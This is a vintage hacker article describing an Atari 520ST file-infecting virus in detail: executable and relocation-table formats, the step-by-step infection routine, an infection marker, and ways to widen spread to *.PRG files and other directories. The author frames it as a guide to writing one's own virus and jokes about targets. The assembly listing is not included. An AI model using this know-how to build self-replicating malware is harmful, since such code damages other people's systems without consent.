In Pursuit of Knowledge: An Atari 520ST Virus
by The Paranoid Panda
The accompanying listing shows a virus program which runs on the Atari 520ST under its GEMDOS (also known as TOS) operating system.
It was assembled in "program counter relative mode" (very important) using the AssemPro assembler produced by Data Becker in Germany and sold in the U.S. by Abacus Software.
For more details about operating system calls and disk file formats, see Atari ST Internals (Bruckmann, et al.), and ST Disk Drives Inside and Out (Braun, et al.). Also, try Computer Viruses: A High-Tech Disease by Ralf Burger. These books, like the assembler, come from Data Becker and are available from Abacus Software.
Although a number of books and articles have been written about viruses, few if any give specific listings or sufficient details as to how to write a virus. I wrote this virus as an exercise to learn the specifics of how it is done. It is not a marvel of elegant assembly language programming, and it doesn't do anything catastrophic. It does work, however, and careful study of it will give you all the details you need to produce your own working virus, or understand just how it is that viruses can infect your system.
In its present form, it adds 859 bytes to the executable file it infects. Its length is kept down by extensive use of operating system calls to do all the work. It could no doubt be shortened considerably by optimizing the code, although that might make it less instructive as a teaching aid.
It is important to understand the format of executable files in a given operating system in order to infect them. In GEMDOS, executable files are recognized by the file extensions *.TOS, *.TTP, and * PRG. All have the same general format. TOS files run without using the GEMDOS desktop graphics environment. TTP files are like TOS files, except that they begin with an input window allowing you to enter program parameters before execution begins. Most commercially available software for the Atari ST is in the form of PRG files, which extensively use the GEMDOS desktop graphics environment.
These executable files begin with a 28-byte program header, with the following format:
601A - Branch around the header. XXXXXXXX - A long word (32-bits) which gives the program segment length. YYYYYYYY - A long word giving the data segment length. ZZZZZZZZ - A long word giving the length of the Block Storage Segment (the amount of scratch memory to be allocated by the operating system when the program is loaded). AAAAAAAA - A long word giving the length of the symbol table. BBBBBBBBBBBBBBBBBBBB - Ten more bytes reserved for the operating system.Following the header is the program segment.
The first instruction occupies the word (i.e. 16-bits) beginning at location 1C hex, or 28 decimal. After the program segment comes the data segment, if there is one, where the program may have working data stored. The symbol table, if there is one, follows the data segment, and is added by some compilers and assemblers to aid in debugging. This is generally missing on commercially produced software. At the end of the symbol table is the all important relocation table, which the virus must modify to make the infected program run. Of course, if there is no data segment or symbol table, the relocation table is right behind the program segment.
Relocatable files can be run from any place in the memory. For example, if you write JMP LOCATION (a jump to a program location labeled LOCATION:), the assembler will allocate a 32-bit long word for the absolute address, but will put in a number representing the distance from the beginning of the program to LOCATION. The operating system's relocator will add the actual start address of the program to each of these relative addresses when the program is loaded. It uses the relocation table to find where they are.
The relocation table begins with a 32-bit long word giving the distance from the beginning of the program to the first absolute address to be relocated. Following this long word in the table are one or more bytes which give the increment from the first address to be relocated to the next ones. If the distance between addresses is greater than 254, a series of bytes containing 01 are added, one for each increment of 254 in the distance, until the remaining distance is less than 254.
In other words, if the distance is exactly 254, there will be an FE (hex for 254) in the byte. If the distance is 256 (the number will always be even), there will be a 01 byte followed by a 02 byte. The relocation table is terminated by a 00 byte.
The virus itself consists of two parts: an infection module and a payload module. The infection module searches for an uninfected file to infect and then infects it. The payload module does the "dirty work" of the virus. The infection module uses two operating system functions, SFIRST and SNEXT, to search for candidate files. As currently implemented, only *.TOS files are searched out. Changing the wildcard string at location 10 in the listing to "*.PRG" will allow it to search out the commercially produced stuff. The search is conducted only on the disk and directory where the virus resides. Addition of calls to operating system functions which change directories, and disks, can widen the search.
As each candidate file is found, the infection module looks for the infection marker, which is the two NOP (no operation) instructions at the beginning of the virus. If a file is found to be infected, or in the unlikely case where some program begins with two NOP instructions, the candidate is rejected and the next candidate is searched out. If no files are found to infect, the virus goes on to do its dirty work and exits. Note that the program shown is a launch program, and so terminates when the virus is run. An infected file containing the virus will perform its function, whatever that may be, once the virus' dirty work is done by the payload module.
If a candidate file is found, infection of that file proceeds before the payload module does its dirty work. In simplified form, the infection of the candidate file proceeds in the following steps:
- Open a new file to receive the infected version.
- Read in the candidate file's program header.
- Modify the program header by adding the virus length to the program segment length, then copy it to the beginning of the new file.
- The virus copies itself into the new file.
- The program segment, data segment (if any), and symbol table (if any) of the candidate file are copied to the new file.
- The long word of the candidate file's relocation table is read, the virus length added to it, and it is copied to the new file. It is used to find the first absolute address, to which the virus length is also added.
- The increment bytes following the long word of the relocation table of the candidate file are copied to the new file without modification, and are used to find the remaining absolute addresses which will be relocated by the operating system on loading, and the virus length is added to them.
- The candidate file and the new file are closed. The candidate file is erased and the new file is renamed, giving it the name of the candidate file.
The new file, with the now erased candidate file's name, is infected with the virus. It has the virus at the beginning, and its original code at the end of the virus. When run, it will run the virus, after which it will do what it was originally intended to do. Since the original code is moved down by the length of the virus, the program segment is increased by that amount and the program segment length in the header is increased accordingly.
The virus is assembled in "program counter (PC) relative mode," with all addresses relative to the current value of the program counter, so it does not require relocating. As a result, the virus itself adds nothing to the relocation table of the now infected file. Since each of the absolute addresses referred to in the relocation table have been moved down by an amount equal to the virus length, the location of the first one (that long word in the relocation table) must be increased by the length of the virus. Also, each absolute address word (which, you will remember, only contains an address relative to the program beginning) must have the virus length added to it, since the address to which it refers is now moved down by that amount.
Note also that the virus can infect files assembled in PC relative mode. Such files end without having a relocation table. The virus looks to see if there is a relocation table in the candidate file, and skips all the relocation table and address modifications if no table is found.
After the infection process completes, the payload module runs. In the current implementation, the dirty work is relatively benign. All it does is send a BEL (Control G) character to the terminal. As a result, the difference between an infected and uninfected file is that the infected file "dings" before it runs. Any sort of dirty work can be substituted for this with ease.
You could use operating system calls to make the Atari sound chip play the Nazi anthem, the Communist Internationale, or any other insightful ditty of your imagination. Alternatively, you could insert some interesting graphics. Pictures are nice.
In closing, here is the usual admonition: Don't use this virus to screw up the North American Air Defense Command (now just how many Atari 520STs do you suppose they have anyway), or the New York school system (ditto). I suppose it would be alright to use it on the Iraqi embassy, but I hear they closed it and went home. Also, don't do terrible things to small animals. You get the idea.
Code: INFECT2A.ASM